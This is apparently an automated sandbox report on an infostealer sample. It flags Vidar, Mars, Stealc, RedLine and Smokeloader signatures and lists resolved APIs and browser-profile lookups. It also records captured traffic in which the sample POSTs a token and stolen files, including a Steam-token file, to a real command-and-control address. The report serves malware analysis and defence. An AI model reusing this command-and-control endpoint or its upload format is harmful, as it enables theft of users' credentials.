Apr 23, 2024 09:33:18.318669081 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:18.323512077 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:18.648850918 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:18.654206038 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:18.977077007 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:18.982557058 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:19.312968969 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:19.318789005 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:19.644676924 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:19.657860994 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:20.010133028 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:20.034723997 CEST	564	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIII Host: 185.172.128.76 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 2d 2d 0d 0a Data Ascii: ------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="file"------KEGCBKKJDHJJJKECGIII--
Apr 23, 2024 09:33:20.364212990 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:20.467679977 CEST	204	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFB Host: 185.172.128.76 Content-Length: 113303 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:21.163136959 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:21.197700977 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJ Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 31 38 31 38 31 36 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="message"1818166------FIDHCFBAKFBGDGDHJKJJ--
Apr 23, 2024 09:33:21.530983925 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Target ID:	0
Start time:	09:32:52
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4JgB4mYxvJ.exe"
Imagebase:	0x400000
File size:	336'384 bytes
MD5 hash:	92C3D034FCE06771B5A20172071271E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2391505695.00000000042AC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:33:20
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 2176
Imagebase:	0xb00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,042A7BF0), ref: 0041625D
GetProcAddress.KERNEL32(75900000,042A7F50), ref: 00416275
GetProcAddress.KERNEL32(75900000,042C2888), ref: 0041628E
GetProcAddress.KERNEL32(75900000,042C2828), ref: 004162A6
GetProcAddress.KERNEL32(75900000,042C2840), ref: 004162BE
GetProcAddress.KERNEL32(75900000,042C28A0), ref: 004162D7
GetProcAddress.KERNEL32(75900000,042A7560), ref: 004162EF
GetProcAddress.KERNEL32(75900000,042C2810), ref: 00416307
GetProcAddress.KERNEL32(75900000,042C5C08), ref: 00416320
GetProcAddress.KERNEL32(75900000,042C5AE8), ref: 00416338
GetProcAddress.KERNEL32(75900000,042C5B00), ref: 00416350
GetProcAddress.KERNEL32(75900000,042A8010), ref: 00416369
GetProcAddress.KERNEL32(75900000,042A80B0), ref: 00416381
GetProcAddress.KERNEL32(75900000,042A8130), ref: 00416399
GetProcAddress.KERNEL32(75900000,042A7E90), ref: 004163B2
GetProcAddress.KERNEL32(75900000,042C5B18), ref: 004163CA
GetProcAddress.KERNEL32(75900000,042C5A28), ref: 004163E2
GetProcAddress.KERNEL32(75900000,042A73F8), ref: 004163FB
GetProcAddress.KERNEL32(75900000,042A8110), ref: 00416413
GetProcAddress.KERNEL32(75900000,042C5B90), ref: 0041642B
GetProcAddress.KERNEL32(75900000,042C5BA8), ref: 00416444
GetProcAddress.KERNEL32(75900000,042C5A58), ref: 0041645C
GetProcAddress.KERNEL32(75900000,042C5B30), ref: 00416474
GetProcAddress.KERNEL32(75900000,042A8050), ref: 0041648D
GetProcAddress.KERNEL32(75900000,042C5A70), ref: 004164A5
GetProcAddress.KERNEL32(75900000,042C5BF0), ref: 004164BD
GetProcAddress.KERNEL32(75900000,042C5AD0), ref: 004164D6
GetProcAddress.KERNEL32(75900000,042C5A10), ref: 004164EE
GetProcAddress.KERNEL32(75900000,042C59E0), ref: 00416506
GetProcAddress.KERNEL32(75900000,042C59F8), ref: 0041651F
GetProcAddress.KERNEL32(75900000,042C5C38), ref: 00416537
GetProcAddress.KERNEL32(75900000,042C5A40), ref: 0041654F
GetProcAddress.KERNEL32(75900000,042C5B78), ref: 00416568
GetProcAddress.KERNEL32(75900000,042A1F18), ref: 00416580
GetProcAddress.KERNEL32(75900000,042C5B48), ref: 00416598
GetProcAddress.KERNEL32(75900000,042C5A88), ref: 004165B1
GetProcAddress.KERNEL32(75900000,042A80D0), ref: 004165C9
GetProcAddress.KERNEL32(75900000,042C5B60), ref: 004165E1
GetProcAddress.KERNEL32(75900000,042A8090), ref: 004165FA
GetProcAddress.KERNEL32(75900000,042C5BC0), ref: 00416612
GetProcAddress.KERNEL32(75900000,042C5AA0), ref: 0041662A
GetProcAddress.KERNEL32(75900000,042A8030), ref: 00416643
GetProcAddress.KERNEL32(75900000,042A8150), ref: 0041665B
LoadLibraryA.KERNEL32(042C5BD8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666D
LoadLibraryA.KERNEL32(042C5C20,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041667E
LoadLibraryA.KERNEL32(042C5C98,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416690
LoadLibraryA.KERNEL32(042C5C50,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A2
LoadLibraryA.KERNEL32(042C5C68,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B3
LoadLibraryA.KERNEL32(042C5CB0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C5
LoadLibraryA.KERNEL32(042C5C80,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D7
LoadLibraryA.KERNEL32(042C59C8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166E8
GetProcAddress.KERNEL32(75FD0000,042A8170), ref: 0041670A
GetProcAddress.KERNEL32(75FD0000,042C5AB8), ref: 00416722
GetProcAddress.KERNEL32(75FD0000,042C3838), ref: 0041673A
GetProcAddress.KERNEL32(75FD0000,042C5CE0), ref: 00416753
GetProcAddress.KERNEL32(75FD0000,042A7ED0), ref: 0041676B
GetProcAddress.KERNEL32(73AF0000,042A7538), ref: 00416790
GetProcAddress.KERNEL32(73AF0000,042A7E70), ref: 004167A9
GetProcAddress.KERNEL32(73AF0000,042A72B8), ref: 004167C1
GetProcAddress.KERNEL32(73AF0000,042C5D70), ref: 004167D9
GetProcAddress.KERNEL32(73AF0000,042C5D40), ref: 004167F2
GetProcAddress.KERNEL32(73AF0000,042A7F70), ref: 0041680A
GetProcAddress.KERNEL32(73AF0000,042A7EB0), ref: 00416822
GetProcAddress.KERNEL32(73AF0000,042C5D58), ref: 0041683B
GetProcAddress.KERNEL32(763B0000,042A80F0), ref: 0041685C
GetProcAddress.KERNEL32(763B0000,042A7FF0), ref: 00416874
GetProcAddress.KERNEL32(763B0000,042C5D88), ref: 0041688D
GetProcAddress.KERNEL32(763B0000,042C5CC8), ref: 004168A5
GetProcAddress.KERNEL32(763B0000,042A7F90), ref: 004168BD
GetProcAddress.KERNEL32(750F0000,042A72E0), ref: 004168E3
GetProcAddress.KERNEL32(750F0000,042A7588), ref: 004168FB
GetProcAddress.KERNEL32(750F0000,042C5D28), ref: 00416913
GetProcAddress.KERNEL32(750F0000,042A8190), ref: 0041692C
GetProcAddress.KERNEL32(750F0000,042A8070), ref: 00416944
GetProcAddress.KERNEL32(750F0000,042A75B0), ref: 0041695C
GetProcAddress.KERNEL32(75A50000,042C5CF8), ref: 00416982
GetProcAddress.KERNEL32(75A50000,042A7EF0), ref: 0041699A
GetProcAddress.KERNEL32(75A50000,042C3858), ref: 004169B2
GetProcAddress.KERNEL32(75A50000,042C5D10), ref: 004169CB
GetProcAddress.KERNEL32(75A50000,042C6388), ref: 004169E3
GetProcAddress.KERNEL32(75A50000,042A81B0), ref: 004169FB
GetProcAddress.KERNEL32(75A50000,042A7F10), ref: 00416A14
GetProcAddress.KERNEL32(75A50000,042C62C8), ref: 00416A2C
GetProcAddress.KERNEL32(75A50000,042C6370), ref: 00416A44
GetProcAddress.KERNEL32(75070000,042A81D0), ref: 00416A66
GetProcAddress.KERNEL32(75070000,042C6148), ref: 00416A7E
GetProcAddress.KERNEL32(75070000,042C6250), ref: 00416A96
GetProcAddress.KERNEL32(75070000,042C6238), ref: 00416AAF
GetProcAddress.KERNEL32(75070000,042C6280), ref: 00416AC7
GetProcAddress.KERNEL32(74E50000,042A81F0), ref: 00416AE8
GetProcAddress.KERNEL32(74E50000,042A8210), ref: 00416B01
GetProcAddress.KERNEL32(75320000,042A7F30), ref: 00416B22
GetProcAddress.KERNEL32(75320000,042C6160), ref: 00416B3A
GetProcAddress.KERNEL32(6F080000,042A7FB0), ref: 00416B60
GetProcAddress.KERNEL32(6F080000,042A7FD0), ref: 00416B78
GetProcAddress.KERNEL32(6F080000,042C6C58), ref: 00416B90
GetProcAddress.KERNEL32(6F080000,042C63B8), ref: 00416BA9
GetProcAddress.KERNEL32(6F080000,042C6CB8), ref: 00416BC1
GetProcAddress.KERNEL32(6F080000,042C6BF8), ref: 00416BD9
GetProcAddress.KERNEL32(6F080000,042C6CD8), ref: 00416BF2
GetProcAddress.KERNEL32(6F080000,042C6B78), ref: 00416C0A
GetProcAddress.KERNEL32(74E00000,042C6310), ref: 00416C2B
GetProcAddress.KERNEL32(74E00000,042C37C8), ref: 00416C44
GetProcAddress.KERNEL32(74E00000,042C6328), ref: 00416C5C
GetProcAddress.KERNEL32(74E00000,042C63A0), ref: 00416C74
GetProcAddress.KERNEL32(74DF0000,042C6D98), ref: 00416C96
GetProcAddress.KERNEL32(6E360000,042C60D0), ref: 00416CB7
GetProcAddress.KERNEL32(6E360000,042C6D78), ref: 00416CCF
GetProcAddress.KERNEL32(6E360000,042C6340), ref: 00416CE8
GetProcAddress.KERNEL32(6E360000,042C61D8), ref: 00416D00

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 6fdcbfc83a7e6ced85b92bf4002cf1d70b18d179e1e2f66c0d1faa926a602d30
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 6E623EB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
FindNextFileA.KERNELBASE(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s\%s\%s, xrefs: 004117DB
%s\%s, xrefs: 004117FD
%s\*, xrefs: 0041165D
%s\%s, xrefs: 00411714
%s%s, xrefs: 00411838

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: e24380de87f91f985b66d320dbe961f46d573dc966b27323ddd82aaccc6d65a1
Instruction ID: 56f1237c2d7c520c90c98f1ce5fb3a6d9b51b415e2d0c2f733ce4a2014328567
Opcode Fuzzy Hash: e24380de87f91f985b66d320dbe961f46d573dc966b27323ddd82aaccc6d65a1
Instruction Fuzzy Hash: AE9172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

Preferences, xrefs: 0040B8BE
Brave, xrefs: 0040B8A2
\Brave\Preferences, xrefs: 0040B97B
Google Chrome, xrefs: 0040BDB9

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 566b9f3a6f1d7abdc50b2301bb164a70b833557f1510103ad759021b71cd89c1
Instruction ID: 76d401781d3fce7c968e745dc043d6a6225f477281f2400f678919b217ba5a4c
Opcode Fuzzy Hash: 566b9f3a6f1d7abdc50b2301bb164a70b833557f1510103ad759021b71cd89c1
Instruction Fuzzy Hash: 0F423572A0010457CF14FB61DC56EEE773DAF84304F41455EF90AA6181EE38AB89CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CD2F688,00001000), ref: 6CCA35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CCA35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CCA35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CCA363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CCA369F
__aulldiv.LIBCMT ref: 6CCA36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CCA3773
EnterCriticalSection.KERNEL32(6CD2F688), ref: 6CCA377E
LeaveCriticalSection.KERNEL32(6CD2F688), ref: 6CCA37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CCA37C4
EnterCriticalSection.KERNEL32(6CD2F688), ref: 6CCA37CB
LeaveCriticalSection.KERNEL32(6CD2F688), ref: 6CCA3801
__aulldiv.LIBCMT ref: 6CCA3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CCA3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CCA3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CCA394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CCA35DB
GTC, xrefs: 6CCA3912
GenuntelineI, xrefs: 6CCA3639
AuthcAMDenti, xrefs: 6CCA3946
QPC, xrefs: 6CCA38FC

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 0dc77f121ef9c336e6c33a1761dc72105e387bd7b213dde8c5e556bec58d7171
Instruction ID: dd6e38f10f45674ed2324880f08b117c696bbdf022441d35aafd56b3b3749fd4
Opcode Fuzzy Hash: 0dc77f121ef9c336e6c33a1761dc72105e387bd7b213dde8c5e556bec58d7171
Instruction Fuzzy Hash: 09B1D471B043119BEB08DF28C554A1AB7F9FB89705F08892EE789D3790E778D805CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNELBASE(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\%s, xrefs: 0041264F
%s\*, xrefs: 0041257D
%s\%s, xrefs: 004125FE

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
